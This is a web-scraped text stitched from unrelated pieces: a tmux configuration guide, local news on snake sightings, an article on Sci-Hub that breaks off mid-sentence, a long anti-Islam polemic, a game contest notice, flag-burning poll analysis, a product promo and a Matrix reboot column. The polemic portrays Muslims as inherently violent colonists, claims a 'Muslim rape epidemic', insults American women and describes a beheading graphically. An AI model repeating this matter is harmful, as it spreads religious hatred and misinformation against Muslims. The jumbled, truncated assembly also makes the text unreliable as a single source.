# Enable mouse control (clickable windows, panes, resizable panes) set -g mouse-select-window on set -g mouse-select-pane on set -g mouse-resize-pane on
Update for tmux 2.1:
As Jon Lillie pointed out in the comments, mouse mode has been rewritten in tmux 2.1. Once you are on tmux 2.1 (or later) you can activate the new mouse mode with a single command:
# Enable mouse mode (tmux 2.1 and above) set -g mouse on
The new mode is a combination of all the old mouse options and fixes the text selection issues as well.
Stop renaming windows automatically
I like to give my tmux windows custom names using the, key. This helps me naming my windows according to the context they’re focusing on. By default tmux will update the window title automatically depending on the last executed command within that window. In order to prevent tmux from overriding my wisely chosen window names I want to suppress this behavior:
# don't rename windows automatically set-option -g allow-rename off
Changing the look of tmux
Changing the colors and design of tmux is a little more complex than what I’ve presented so far. You’ll want tmux to give a consistent look which is why you most likely have to change the looks of quite a lot of elements tmux displays. This is why changes to the design often result in plenty of lines in your config. I can only recommend to put these into their own identifiable section within your tmux.conf to be able to change this block of config without accidentaly ripping out some of your precious custom key bindings. I’m using comments, starting with a # character to make it visible where the design changes start.
Credit where credit is due: I did not create the following design. /u/dothebarbwa was so kind to publish it on /r/unixporn so it’s his effort and all thanks have to go out to him. Thanks!
Depending on your color scheme (I’m using base16-ocean-dark) your resulting tmux will look something like this:
###################### ### DESIGN CHANGES ### ###################### # loud or quiet? set-option -g visual-activity off set-option -g visual-bell off set-option -g visual-silence off set-window-option -g monitor-activity off set-option -g bell-action none # modes setw -g clock-mode-colour colour5 setw -g mode-attr bold setw -g mode-fg colour1 setw -g mode-bg colour18 # panes set -g pane-border-bg colour0 set -g pane-border-fg colour19 set -g pane-active-border-bg colour0 set -g pane-active-border-fg colour9 # statusbar set -g status-position bottom set -g status-justify left set -g status-bg colour18 set -g status-fg colour137 set -g status-attr dim set -g status-left '' set -g status-right '#[fg=colour233,bg=colour19,bold] %d/%m #[fg=colour233,bg=colour8,bold] %H:%M:%S'set -g status-right-length 50 set -g status-left-length 20 setw -g window-status-current-fg colour1 setw -g window-status-current-bg colour19 setw -g window-status-current-attr bold setw -g window-status-current-format'#I#[fg=colour249]:#[fg=colour255]#W#[fg=colour249]#F'setw -g window-status-fg colour9 setw -g window-status-bg colour18 setw -g window-status-attr none setw -g window-status-format'#I#[fg=colour237]:#[fg=colour250]#W#[fg=colour244]#F'setw -g window-status-bell-attr bold setw -g window-status-bell-fg colour255 setw -g window-status-bell-bg colour1 # messages set -g message-attr bold set -g message-fg colour232 set -g message-bg colour16
A Word of Caution
I took care of explaining and documenting all suggested changes in this post to make it easy for you to understand what they do and to decide if this is something you want for your tmux.conf as well.
If you do your amount of research on the web you will find plenty of heavily customized tmux configurations. It’s really tempting to just copy those and call it a day. Please, for your own sake, don’t do that. Trust me, I’ve been there. I can only recommend that you start out with a plain tmux configuration and add modifications one by one. This is the only way to ensure that you are fully conscious of all the changes you have made. And this is the only way you will actually learn something about tmux along the way. That said: go ahead and look up config files others have published. Take these as source of inspiration and choose wisely what you want to take for your own config.
There is some really interesting stuff out there. I’ve seen people doing pure magic with their status bars, displaying all kinds of system information that might be interesting. To apply those changes you’ll most likely exceed the simple one-liners I’ve presented in this post. Often there are special scripts involved that need to be loaded, accompanied by multiple lines of configuration changes. I don’t want to discourage you from using these. Just be aware that this is a more advanced topic where you can certainly screw some stuff up. Make sure to backup your config accordingly.
Further resources
As I’ve already told you, there are plenty of resources out there where you can find people presenting their tmux.confs in a similar fashion to what I’ve done here. Feel free to browse and search for inspiration. Personally I love reading other people’s blog posts about their tmux configs.
GitHub is also a great source. Simply search for “tmux.conf” or repos called “dotfiles” to find a vast amount of configurations that are out there.
If you’re especially looking for theming options, I can also recommend having a look at /r/unixporn (SFW, in spite of its title). It’s a great place where people showcase their fine-tuned and heavily themed unix environments. Some stuff is really nice, some other stuff is only pretty but mostly dysfunctional. From time to time you find people sharing their tmux.conf as well, you can also deliberately search for the term “tmux.conf” to find what you’re looking for.
You can also find my complete tmux.conf (along with other configuration files I’m using on my systems) on my personal dotfiles repo on GitHub.
FootnotesTHIRTY brown and red-bellied black snakes have been spotted along River Torrens Linear Park in the past week.
Tea Tree Gully Council staff found the snakes while working in a section of the park in Dernancourt and Highbury.
The council's operations manager Andrew Sellars said the number of snake sightings had risen in the past year.
"This is a big increase on last year when we were seeing about five snakes a week in that area," Mr Sellars said.
"With the warmer weather, snakes have been heading towards the water where there's a more plentiful food supply."
Snakes Away owner Ian Renton said snakes along Linear Park, which runs from the Adelaide Hills to Henley Beach, were responsible for a 25 per cent rise in call outs this month.
"It's been a lot busier for me," Mr Renton said.
"I'm getting more than 10 call outs a day.
"Snakes are being found all the way along Linear Park, even down at Gilberton towards Adelaide."
The council warned residents to exercise caution when using the park and urged dog owners to keep their pets on leads.
For more news on the north-east, pick up a copy of the Leader Messenger, read our digital edition online, or become a fan of our Facebook page.I was in Houston last week, and I found myself doing some remote tech support over the phone. Everyone in the Houston office patiently waited for me to finish, but gave me the strangest look when I told my assistant back in Michigan, "You're going to have to reboot Gonzo and Fozzie, because they need to mount Miss Piggy."
Needless to say, out of context that conversation sounds a bit awkward. Knowing my servers are all named after Muppet characters, however, makes it pretty clear that Miss Piggy is my file server, and Gonzo and Fozzie need to mount the /home directory.
The truth of the matter is, all my servers are named after Muppet characters, because I have a single Windows 2003 Terminal Server that I wanted to name Animal, since it would be my least stable machine. Har har har.Stop us if you’ve heard this before: a young academic with coding savvy has become frustrated with the incarceration of information. Some of the world's best research continues to be trapped behind subscriptions and paywalls. This academic turns activist, and this activist then plots and executes the plan. It's time to free information from its chains—to give it to the masses free of charge. Along the way, this research Robin Hood is accused of being an illicit, criminal hacker.
This, of course, describes the tale of the late Aaron Swartz. His situation captured the Internet’s collective attention as the data crusader attacked research paywalls. Swartz was notoriously charged as a hacker for trying to free millions of articles from popular academic hub JSTOR. At age 26, he tragically committed suicide just ahead of his federal trial in 2013.
But suddenly in 2016, the tale has new life. The Washington Post decries it as academic research's Napster moment, and it all stems from a 27-year-old bioengineer turned Web programmer from Kazakhstan (who's living in Russia). Just as Swartz did, this hacker is freeing tens of millions of research articles from paywalls, metaphorically hoisting a middle finger to the academic publishing industry, which, by the way, has again reacted with labels like "hacker" and "criminal."
Meet Alexandra Elbakyan, the developer of Sci-Hub, a Pirate Bay-like site for the science nerd. It's a portal that offers free and searchable access "to most publishers, especially well-known ones." Search for it, download, and you're done. It's that easy.
"The more known the publisher is, the more likely Sci-Hub will work," she told Ars via e-mail. A message to her site's users says it all: "SCI-HUB...to remove all barriers in the way of science."
"Guerilla Open Access Manifesto"
Swartz found himself in the crosshairs of criminal hacking charges in a US court of law for being caught liberating the JSTOR research database. Elbakyan, by contrast, finds herself entwined in a US copyright and hacking lawsuit (PDF) brought by one of the world's leading scientific publishers, New York-based Elsevier. That's the same publisher Swartz named in his 2008 "Guerilla Open Access Manifesto," a brief paper extolling the virtues of illegally freeing scientific research stuck behind the paywall. Elbakyan says Swartz was not a direct source of inspiration for Sci-Hub, but she's happy to note the two share the same goal of open access to science literature.
"I also found the idea of open access in science very inspiring, and I even dreamed of start(ing) my own open access journal," she said. "That was a year before I created Sci-Hub. And it was not related to Aaron, [but if Swartz were alive], who knows—perhaps he would became one of my good friends and collaborators? His writing on open access is good."
The civil hacking and copyright infringement case against Elbakyan has been going on for months. To the consternation of Elsevier's attorneys, she altered the site's URL from sci-hub.org to sci-hub.io and changed others because of a court order blocking the.org domain. Elbakyan rarely even bothered to respond in court to the ongoing New York federal lawsuit—after all, she lives overseas and isn't worried about US law. For now, she said she'd only actively participate in the lawsuit if one condition was met: "If there will be lawyers who are interested in the case for the sake of idea, not money."
For Elbakyan, that's what this is all about—ideas. In her own words, here's why she built Sci-Hub in 2011:
I started the website because it was a great demand for such service in research community. In 2011, I was an active participant in various online communities for scientists (i.e. forums, the technology preceding social networks and still surviving to the present day). What all students and researchers were doing there is helping each other to download literature behind paywalls. I became interested and very involved. Two years before, I already had to pirated many paywalled papers while working on my final university project (which was dedicated to brain-machine interfaces). So I knew well how to do this and had necessary tools. After sending tens or hundreds of research papers manually, I wanted to develop a script that will automate my work. That's how Sci-Hub started. The first users of the script were members of the online forum about molecular biology. At first, there was no goal to make all knowledge free. The script was simply intended to make the life of researcher easier, i.e. to make the process of unlocking papers more fast and convenient. But this turned out to be such an important improvement it changed the way research |
and to put her in a bedroom situation is abominable. Taking babies and toddlers and marrying them off to grown men is unlike anything most of us could imagine.] When a Muslim man enters a non-Muslim host country like Britain and he takes a child bride, he is breaking the host country's law but he pays no heed to that, because he considers himself under another law--and Britian is apparently having this problem. The Muslim has not come to assimilate into his new country--but rather he has come as a colonist bringing his practices with him in defiance of whatever laws he may find.]
Female Muslims must be covered head to foot like Muhammad's women who needed it in the desert sun and sand.
Women are treated badly in Islam. Quran, Sura 4:34:
Men are the managers of the affairs of women...Those you fear may be rebellious--admonish; banish them to their couches and beat them.
Muslim women can be kept prisioners in their own homes and denied the right to go outside the house if the husband orders. On one section of truthtube.tv there is a deeply disturbing video of a young woman slashed with knife all over her body by her Muslim husband for talking with a male neighbor without a chaperone (http://www.truthtube.tv/play.php?vid=3365).
In Iran, women must carry written permission from their husbands to go outside the house. In Saudi Arabia, they are prohibited from driving a car. When some women in Saudia Arabia drove cars in the fall of 1990, they were castigated from every direction and admonished not to talk to Western reporters. One woman said, "The issue is not driving. It is that here in Saudi Arabia, I exist as a person from the bellybutton to the knees."
Some have said that the Bible degrades women. I'm not sure on what they base this assertion, but as a student of the word for almost two decades I know that that is a lie. God made us male and female with distinct responsibilities--one can even see that in the animal kingdom. I perceive that the lawless and rebellious are the ones who think that having children and rearing them is demeaning. That's why their children are wayward and rebellious like they are. What a pitiful existence trying to be just the opposite of what God says. These women are not succeeding in America, they are, as the Bible calls them, "silly women." I used to be one too before I got saved (many people in the world can see what whores American women are). What freedom I have found in Christ who forgave me of all my sins and transgressions and put a new song in my mouth, even praise unto our God. I used to think being a Christian was about bondage, but that was a lie from the devil. It is ultimate freedom! He whom the Son (our precious Lord Jesus Christ) makes free is free indeed!
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Allah vs. God.
Islam claims that their god is the God of the Bible. Let's compare:
The Quran The Bible Allah is unknowable God is knowable Allah is nonpersonal God is personal Allah is not a spirit God is a Spirit Allah is not a Father, nor Jesus the Son of God God is the Father, Jesus Christ is his only begotten Son and the only means by which a man can be saved Allah can do anything with no limitations God cannot go against His immutable nature e.g. God cannot lie. Allah is capricious God is trustworthy Allah has no feelings towards man God loves man deeply Allah doesn't personally enter human history. God, the Son, became a man to bring about man's salvation. Allah provides no saviour or intecessor. You're on your own. No concept of grace. God provided a Saviour through his manifold grace and kindness and love. Jesus came to save.
It is clear to see that the God of the Bible is NOT the god of the Quran, Allah.
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...........
http://answering-islam.org/Testimonies/index.html --Testimonies of former Muslims
http://www.chick.com/information/religions/islam/-- The Islam Information Center
if this page strengthens you faith in Islam, you may want to consider this --http://answering-islam.org/strengthened.html.
Why Muslims are so violent.
Sure, here in the west, they've tried to "Christianize" their beliefs and many of us gullibly believe that Muslims are a peace-loving people--but history, Muhammad, terrorism, and Jihad tell a different story. It is written in their law that Muslims must kill those that do not convert to Islam. Their leader, Muhammad made his fortune plundering and killing. Don't think it happens today? Looking at Algeria. Look at terrorism. Look at Khadafy, the Shaw of Iran, Sadaam Hussein, Arafat, the Sudan, etc. The word "assassin" came from a secret sect of Moslems who killed folks while supposedly high on hashish. Violence and Islam are good friends. In fact, DYING IN JIHAD IS THE ONLY WAY THAT A MUSLIM IS GUARANTEED TO GO TO HEAVEN. Do you think that this is an easy, inexpensive way to garner men for a suicidal fighting force? In the Sudan, Muslim fighters got to keep the spoils of the villages that they decimated. Do you think that is an easy, inexpensive way to garner thieves, thugs, criminals, and killers for your fighting force?
Why does it seem like they are always fighting and terrorizing people? Why is Islam so militant and overbearing? If we make a simple analysis of the foundation of this group, the answers will become very apparent. It all begins and ends with a man named Mohammad. The Hadith (another book of Islam) says that jihad (holy war or "exerting force" for Allah), is the second best thing to believing in Allah and his apostle (Muhammad).
Allah's apostle was asked, "What is the best deed?" He replied, "To believe in Allah and his Apostle." The questioner then asked, "What is the next?" He replied, "To participate in Jihad in Allah's cause." (Hadith vol. 1, no. 25).
The Hadith also says that Murderous Muslims could take the property of people they killed during a Jihad (there are different types of Jihad). In addition to killing infidels like Christians and Jews, Muslims are also commanded to kill anyone who leaves Islam (Hadith vol. 4, no. 260).
The Quran requires violence. Sura 9:5 says,
Fight and slay the pagans wherever ye find them, and seize them, beleaguer them, and lie in wait for them in every strategem of war.
Sura 5:33 records what is done to infidels who resist Islam:
Their punishment is...execution, or crucifixion, or the cutting off of hands and feet from the opposite sides, or exile from the land.
Muhammad also burned out eyes with hot irons (Hadith vol. 1, no. 234) and deprived people of water until they died (vol. 8, no. 796).
In Islamic countries one can be incarcerated and tortured without due process--this was all part of 7th century Arabia. The dictator could do whatever he wanted to. I read an article in the Washington Post about Sadaam Hussein's son. They said that he was a terror. One night he raped a woman and when she complained, he killed her. He did stuff like that all the time and one night he got shot up getting out of his car and was paralyzed.
There is a Muslim rape epidemic across the land. Read about it in this article. Islam comes into your country to take it over. Those mosques popping up are meeting places for colonists that come to take over your country, not to simply exercise their religion. The rape epidemic is not new. See the article, Muslim's rape children while crying "Allahu Akbar!" (god is great) which was published around 1998.
The following is an article from The Frontline Fellowship (http://www.frontline.org.za) that does extensive missionary work in the Sudan, a country where Muslims Muslims killed, plundered, and destroyed in the name of jihad. You can order their video "Sudan: The Hidden Holocaust" from their website. I saw a video of a nursing woman whose breast was cut off by Muslims. It included many other disturbing atrocities. Many African were sold into slavery to Muslims.
And don't think these things cannot happen in the United States! There is a video of Islamic terrorist training camps in the U.S.
JIHAD -- ISLAMIC HOLY WAR
" We shall export our revolution, to the whole world. Until the cry 'Allah Akbar' resounds over the whole world. There will be struggle. There will be Jihad... Islam is the religion of militant individuals... Islam will be victorious in all the countries of the world, and Islam and the teachings of the Quran will prevail all over the world... This is the duty that all Muslims must fulfil..."
These were the often repeated public pronouncements of the Ayatollah Khomeini after the revolution in Iran in 1979 ("The Blood of the Moon", by George Grant).
Nor was the Ayatollah alone in such militant threats. Abdul Aziz Ibn Saud declared: "We shall never call for or accept a negotiated peace. We shall only accept war - Jihad - the holy war. We resolve to drench the lands of Palestine and Arabia with the blood of the infidels or to accept martyrdom for the glory of Allah".
The President of Sudan, Lt. Gen. Al Bashir, has often spoken of Jihad. At the 40th anniversary of Sudan's independence, Al Bashir celebrated the spirit of Jihad which was engulfing the people of Sudan. The head of Sudan's ruling party, the National Islamic Front (NIF), Dr. Al Turabi, has often declared his goal of an Islamic empire controlling (initially) the horn of Africa (Eritrea, Ethiopia, Somalia, Kenya, Uganda and Sudan). This he calls the Grand Islamic Project.
At a two week conference of Muslim leaders from 80 countries, hosted by Muammar Gaddafi in Tripoli, Libya (October 1995), strategies to transform Africa into an Islamic continent were discussed. Participants openly admitted that their goals were to make Arabic the primary language of the continent and Islam the official religion. One SA member of parliament, Farouk Cassim declared: "It will probably be the biggest revolution to sweep Africa." Head of the Islamic Propagation Centre International (IPCI), Yousuf Deedat, announced afterwards that South Africa was high on the agenda of the Islamic offensive: "We are going to turn South Africa into a Muslim state. We have the money to do it," (Sunday Times 22/10/95). At present less than 2 percent of South Africans are Muslims.
What few Westerners understand, however, is that those Muslim leaders who call for the overthrow of all governments and the establishment of an Islamic superstate controlling all aspects of life for every person on earth are not extremists on the fringe of Islam. Actually, Jihad, the subjugation and forcible conversion of all people to Islam and world domination are central tenants of Islam. Jihad is ranked by many Muslims as the sixth pillar of Islam.
Jihad was so important to the founder of Islam, Muhammad, that he declared it to be the second most important deed in Islam.
"Allah's apostle was asked, 'What is the best deed?' He replied, 'To believe in Allah and his Apostle.' The questioner then asked, 'What is the next (in goodness)?' He replied, 'To participate in Jihad (religious fighting) in Allah's cause.'" -- The Hadith, Al Bukhari, Vol. 1 no 25.
Muslims, in fact, divide the world into two sectors: Dar-al-Islam (the House of Islam) and Dar-al-Harb (The House of War). The only countries considered to be at peace are those where Islamic law (the Sharia) is enforced.
Islam in Arabic means submission, surrender or subjugation. A Muslim is one who submits. The Arabic word for peace is Salam. Islam is the active form of Salam. Muslims see themselves as a "peace making force" using argument, intrigue, commerce, threats, terrorism, warfare and every other means possible to secure Islam as the only religion worldwide.
Muslims are not permitted to make peace with a non-Muslim country until its inhabitants surrender to Islam. They can agree to a cease fire for a period of time -- but never to peace with non Muslims.
The Quran teaches that Muslims are superior to others: "Ye (Muslims) are the best of peoples evolved for mankind..." Surah 3:110.
Muslims are forbidden to befriend Jews or Christians: "O ye who believe! Take not the Jews and the Christians for your friends and protectors. They are but friends and protectors to each other. And he amongst you that turns to them (for friendship) is one of them..." Surah 5:54.
Islam instructs its adherents to fight until their opponents submit. Christians and Jews may be spared if they pay "Jizya" -- a penalty tax -- with willing submission: "Fight those who believe not in God nor the last day... Nor acknowledge the religion of truth, (even if they are) of the people of the Book, until they pay Jizya (tribute taxes) with willing submission, and feel themselves subdued" Surah 9:29.
"Fight and slay the pagans wherever ye find them and seize them, beleaguer them, and lie in wait (ambush) for them in every strategem (of war)..." Surah 9:5 (also 2:193).
For those who resist Islam -- execution or mutilation is decreed: "The punishment of those who wage war against Allah and His apostle, and strive with might and main for mischief through the land is: execution or crucifixion, or the cutting off of the hands and feet from opposite sides or exile from the land..." Surah 5:36.
The Hadith, which is a record of the words and deeds of Muhammad, is also viewed by Muslims as inspired. Next to the Quran, it is the most important source of Islamic Law. It's teachings are regarded as binding on all Muslims.
The Hadith teaches that apostasy is punishable by death: "Whoever changes his Islamic religion, kill him." Vol. 9:57.
A Muslim may not be punished for killing a non-Muslim: "No Muslim should be killed for killing a kafir (infidel)." Vol 9:50
Those who die in holy war are guaranteed to go to Heaven. "The person who participates in Jihad (Holy battles) in Allah's cause and nothing compels him to do so except belief in Allah and His apostle, will be recompensed by Allah either with a reward or booty (if he survives) or will be admitted to paradise (if he is killed)." Vol 1:35
It may be hard for Christians to understand the concept of such a militant religion, but the primary aim of Islam is not spiritual but political. The ultimate purpose of Islam is the establishment by force of a worldwide Islamic state where Sharia law is enforced on all.
To achieve this is the goal of Jihad. Islamic scholars identify a multitude of forms that Jihad can take:
1. There is the Jihad of Words. Muhammad was a brilliant and gifted orator silencing his enemies in a war of words. In Arab culture it was customary for feuding tribes to select a poet to mock and provoke the opposing forces with spontaneous verses of cursing. These linguistic warriors engaged in verbal combat seeking to inspire their own side with a sense of superiority and strength whilst undermining the morale of the enemy. This war of words, which Muslim leaders today such as Gaddaffi, Saddam Hussein and Yassar Arafat still engage in, is actually a war of nerves. 2. There is the Jihad of Deception. When Muslims are small in number they can follow the example of Muhammad's 83 followers who fled from persecution in Mecca to Abyssinia (present day Ethiopia). There the Christian Negus (king) offered them refuge. When the Meccans demanded their return as slaves, the Muslim exiles declared that Islam was merely a variation of Christianity. The Muslims selectively recited those passages of the Quran that agree with the Bible such as the virgin birth and miracles of Jesus and His ascension to Heaven and ultimate return. They remained silent on the unbridgeable differences (such as the denial of the Trinity and the atonement) between the Quran and the Bible. As a result the Christian Abyssinians protected the Muslims from the Meccans. In this way, when it was most vulnerable, Islam grew and developed in a Christian environment. (If we only demonstrate our Christian love without proclaiming the truth of the Gospel we could strengthen anti-Christian forces). Muhammad compromised with the Meccan merchants during a particularly intense time of persecution. Formerly he had fearlessly condemned polytheism. Then, under pressure, he accepted the Meccan belief that Allah had a wife, Al-lat, and two daughters, Al Uzzo and Manat (Surah 53:20-23). Later Muhammad repudiated these so called Satanic Verses and claimed that all previous prophets had been tempted by demonic influence. 3. There is the Jihad of the Sword. After fleeing to Medina (the Hijra) in AD622, Muhammad started to summon his followers to attack and plunder the caravans of Mecca. His followers initially resisted these calls until Muhammad presented a series of "revelations" commanding Jihad (holy war) and permitting looting ("Whoever has killed an enemy and has proof of that, will possess his spoils" -- The Hadith, Vol. 4 no. 370). Where the booty was not large enough, Muhammad held captives as hostages until their families paid a high ransom for their release. Hostage taking has continued to be a common practise in Islam to this day. Those who participate in Jihad are granted a blanket absolution (Surah 8:17) and guaranteed to go straight to Paradise (Heaven) if killed. 4. There is the Jihad of Taxation and Financial Reward. Those who refuse to submit to Islam are forced to pay a special tax for non- Muslims (Jizya). Those who convert to Islam are often offered financial rewards or scholarships. 5. There is the Jihad of Slavery. Those Muslims who engage in Jihad not only can seize property, extort ransoms and demand taxes, but also capture slaves. The only places in the world today where slavery is still practised are in some Muslim countries. In Sudan, the Islamic government uses slavery as an incentive to encourage Arab Northerners to attack the Christian Blacks in the South, and as a weapon of terror to destabilize non-Muslims. According to the Sharia Law, Muslims are allowed to enslave, own and sell human beings. 6. There is the Jihad of the Sharia Law. Non-Muslims are degraded to a lower class status and are denied equal access to the law because their testimony is not valid against a Muslim. This even applies to murder ("No Muslim should be killed for killing an infidel"). The death penalty is applied to anyone who renounces Islam and converts to another religion. When the wealthy Bedouins of Arabia professed faith in Allah to escape attack, Muhammad did not accept their confession. ("The desert Arabs say 'We believe'. Say, 'Ye have no faith; but ye (only) say 'We have submitted.'" Surah 49:14) Islam does not place much value on personal faith, but demands surrender to the political rule of the Sharia. It is significant that the calendar of Islam does not begin with the birth of Muhammad, nor the onset of his supposed "revelation", nor the assembling of the first Muslim community, nor the flight of Muslim refugees to Abyssinia. The 12 years of persecution in Mecca were not considered the start of their new religion. The Muslim calendar only begins when Islam became a political state in Medina. 7. There is the Jihad of Polygamy. The devastating defeat of the Muslim forces by the Meccans in the battle of Uhud (AD625) led to what could be considered one of Islam's greatest victories. So many of his men were killed that Muhammad permitted his men to take up to 4 wives (Surah 4:3, 4). With the advent of Western medicine, infant mortality has plummeted. And the Muslim birthrate has skyrocketed. Muslims are increasing in number twice as fast as other religions. This is due to birth control and abortion in Western lands and polygamy in Muslim lands. Muslims are not increasing much by missionary outreaches, but by having many children. Polygamy (rather than persuasion) has become one of Islam's most effective weapons for Holy War, providing Islam with a disproportionate numerical advantage. 8. There is the Jihad of the Spirits. According to the Quran, Muslims are not only men and women but also spirits who fight for the spread of Islam (Surah 46:29-33 and 72:1-15). Also a Muslim is to fight on Muhammad's behalf both in his life and after his death (Hadith Vol. 1 chapter 43).
How we chose to respond, in prayer, publications, proclamation, projects and persistent vigilance will determine much of the course of history in the coming 21st century.
Peter Hammond
This is an excerpt from an email I received--
As more details emerge surrounding the murder of Wall Street Journal reporter Danny Pearl, it seems increasingly likely that the object of the kidnapping wasn't demands or ransom but the murder of Danny Pearl himself. Pearl was ordered to tell the camera he was "a Jew. My mother was a Jew," he reportedly said just before his murder. Pearl's kidnapping-murder involved at least 15 conspirators, according to Pakistani police investigators. Danny Pearl was chosen to be slaughtered because he was a Jew. The demands made at the time of his kidnapping were, by design, impossible - they gave a 24-hour deadline with no negotiation and it is believed that Pearl was murdered on schedule. The gory details of Pearl's videotaped murder are evidence of the maniacal hatred of his murderers. According to reports in the major media, Pearl is shown mumbling some obvious propaganda statement about Americans being unable to "walk around free" as long as our government's policies of "unconditional support of Israel" continue. After admitting his crime: "I am a Jew. My mother was a Jew," a hand appears and cuts his throat. The rest of the description is not for the squeamish. You may want to skip over the next paragraph. After Pearl's throat is cut, his head is severed and held aloft by a hand in front of the camera. The tape cuts to his murderers repeatedly stabbing his lifeless corpse. The scene cuts to Pearl's head lying on a pile of newspapers as a message scrolls across the screen: "If our demands aren't met, there will be more like this." Those "demands" included releasing the al-Qaida prisoners from Cuba and delivering fighter jets to Pakistan. The only thing they left out was a demand we publicly execute President Bush in the Rose Garden. They had no intention of ever releasing Danny Pearl. Ever. Danny Pearl was a Jew. Israel is hated with a visceral, bone-deep hatred impossible for most modern Christians to comprehend. This week, a 15-year-old Palestinian girl charged a group of Israeli soldiers with a knife. The soldiers shot her dead. At her home was a suicide note, proclaiming her intention to become a martyr. Her unknowing father said when he found out what she had done that he was "proud" of her. How can anyone comprehend hatred that deep?
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Throwing stones at the Devil.Hello everyone,
This week, in addition to the start of Open Beta today, it is also the Week of Love! To celebrate, we will be holding a small contest* from now until February 19th, 2013. The goal is simple: Immortalize your love for ManiaPlanet via a screenshot. Three winners will receive a free ShootMania Storm key and a swag bag valued at $20. Send your participation to shootmania@ubisoft.com with the subject “ManiaPlanet Love – YourName”, you can send as many screenshots you want. Remember to give us in the mail your name and your full address please.
For those who want to take part on Valentine’s Day, we invite you to dress your character in pink on February 14th (see the image below). It’s guaranteed to be fun, and there’s nothing quite like kicking ass with pink rockets. Enjoy the week, and see you later today with the Open Beta!
*Rules of the contest: http://forum.maniaplanet.com/viewtopic.php?f=458&t=16299&start=0Here's what you should know about President-elect Donald Trump's Nov. 29 tweet calling for a ban on burning the U.S. flag. (Sarah Parnass/The Washington Post)
Donald Trump would appear to have done something very controversial (again) on Twitter Tuesday morning, registering his support for making flag-burning a crime punishable by as much as a year in jail or even the revoking of one's citizenship.
Nobody should be allowed to burn the American flag - if they do, there must be consequences - perhaps loss of citizenship or year in jail! — Donald J. Trump (@realDonaldTrump) November 29, 2016
As our Philip Bump notes, it's not the first time Trump has pitted himself against things that have been defined by the Supreme Court as First Amendment rights — nor will it likely be the last. And as Bump also notes, Trump's decision to stand against flag-burning is likely to pit defenders of the practice “against the patriotism of people who find flag-burning unacceptable.”
But the size of that latter group might be bigger than the coverage of this topic suggests. And Trump's position probably won't strike most Americans as being all that controversial.
Occupy Oakland protesters, in 2012, burn an American flag. (Beck Diefenbach/AP)
In fact, making flag-burning illegal appears to have had overwhelming public support as recently as a decade ago. It's controversial to attach such harsh penalties to it, and the fact it would require a constitutional amendment makes it a steeper climb, yes. But Trump's basic position is one that appears to have base-level appeal to a huge cross-section of Americans — no matter what the Supreme Court ruled about flag-burning in 1989.
Polling on this issue is not at all recent and varies widely. But if we walk through it poll by poll, you get a sense for how broad the underlying support is for what Trump is advocating.
First, the most recent quality poll, from the 2011 State of the First Amendment survey, showed 56 percent opposed a constitutional amendment (which would be required) to outlaw flag-burning.
Five years prior, though, in 2006, Gallup and CNN polling both showed 56 percent favored such a constitutional amendment.
Source: Gallup
And finally, if you look at a Fox News poll also conducted in 2006, it showed 73 percent thought flag-burning should be illegal.
These are all very different results, with little reason to believe there was some massive shift in public opinion in the intervening months and years. So what's up?
Well, it appears that people broadly do think — or at least did think a decade ago — that flag-burning should be illegal. But if you layer on top of that the fact that it would require a constitutional amendment to make it so, support falls. And if you layer on top of that the idea that this is a free-speech issue — as the first pollster did — it falls so drastically that people suddenly agree with the Supreme Court's ruling and oppose an amendment.
Here's the straight-up Fox News poll question that drew 73 percent support for making flag-burning illegal: “Do you think burning the American flag should be legal or illegal?”
And here's the State of the First Amendment question, which reduced support for outlawing flag-burning by 35 points: “Some people feel that the U.S. Constitution should be amended to make it illegal to burn or desecrate the American flag as a form of political dissent. Others say that the U.S. Constitution should not be amended to specifically prohibit flag burning or desecration. Do you think the U.S. Constitution should or should not be amended to prohibit burning or desecrating the American flag?”
And that poll isn't the only one to suggest a fuller description of free-speech concerns depresses support for an amendment. The same Gallup poll from 2006 happened to use the same wording as the State of the First Amendment poll in a separate question, and support for the amendment dropped from 56 percent to 45 percent.
Source: Gallup
Trump unpacked all kinds of constitutional issues when he brought up the idea of making flag-burning illegal. And, revoking the citizenship of offenders triggers a whole other constitutional debate — all of which is completely valid to debate.
But his basic position on whether flag-burning should be illegal is really no more controversial than believing Roe v. Wade or Citizens United should be overturned — or that any other Supreme Court decision was wrongly decided and should be reversed or amended.
Scott Clement contributed to this post.Sneak peek: Point—the smart home alarm
Minut Blocked Unblock Follow Following Sep 7, 2017
We all want to know our homes are fine when we are away. Point is designed to monitor your home and alert you and your neighbours when something is wrong. With Point, you don’t need intrusive cameras or complex installations to know that everything is alright.
The most powerful way to develop a product is by doing it together with your community. We have shipped thousands of Points to homes across the world and we know that there is a need for a softer approach to home security. From our users, we have learned that families, friends and neighbours help each other out when unexpected things happen. That is why Point puts your community first.
Point tells you and your community about important events. If there is movement, Point immediately warns possible intruders that they have been detected. It also sends a message to you. By adding your family and neighbours in the app, critical events can be forwarded to them so that you can work together to resolve the situation.
We are excited to make Point a part of your community and we look forward to creating a new and collaborative approach to home security.By Alyssa Rosenberg, The Washington Post
The utter creative bankruptcy represented by the news that Warner Brothers is developing a reboot of “The Matrix,” the wildly original 1999 blockbuster film about the last stand in a war between humanity and the machines that have surpassed them, is too obvious — and honestly, too depressing — to dwell on for long.
It was deadening enough to watch Hollywood repeat the same story beats over and over again in genres like superhero movies that were designed to repeat and reset: Seeing the industry prepare to cannibalize its own most creative blockbusters makes me wonder whether mass culture wouldn’t be better off if the San Andreas Fault just opened up and swallowed the 30-mile zone.
And the idea of going back into “The Matrix” isn’t just bad because it so destroys my hope for the future of original action movies that I’m tempted to give all this up to go study illuminated manuscripts in a vault somewhere. From a financial perspective, the virtue of remaking an existing property is that it comes with high “pre-awareness” baked in: Warner Brothers can trust that viewers are basically familiar with the essential concept behind “The Matrix,” so the company doesn’t have to waste time explaining it and can just get around to selling the new version. And on this score, the strength of “The Matrix” also represents a risk for Warner Brothers: “The Matrix” comes with a kind of pre-awareness that may prevent a reboot from truly standing on its own.
One of the most enduring conceits of “The Matrix,” and one of the film’s strongest visuals, is the choice between a red or blue pill that Morpheus (Laurence Fishburne), a leader of the anti-machine resistance, offers to hacker Neo (Keanu Reeves), who has been exploring elements of the world that seem to have a certain wrongness. The red pill will offer Neo a chance to see and understand the reality of his existence, but at the risk that he will be shaken to his core, perhaps even shattered. The blue pill will return him to a relatively comforting existence without answers to any of the questions that have been dogging him, but with his equanimity and sanity intact. Neo chooses the red pill, of course, and our adventure begins.
But even if a rebooted version of “The Matrix” were to take us in a radically different direction, what would the red pill reveal to the next main character, and to us? And what would it mean? Even if he or she doesn’t use the red pill at all, what would audiences perceive the movie’s real messages to be?
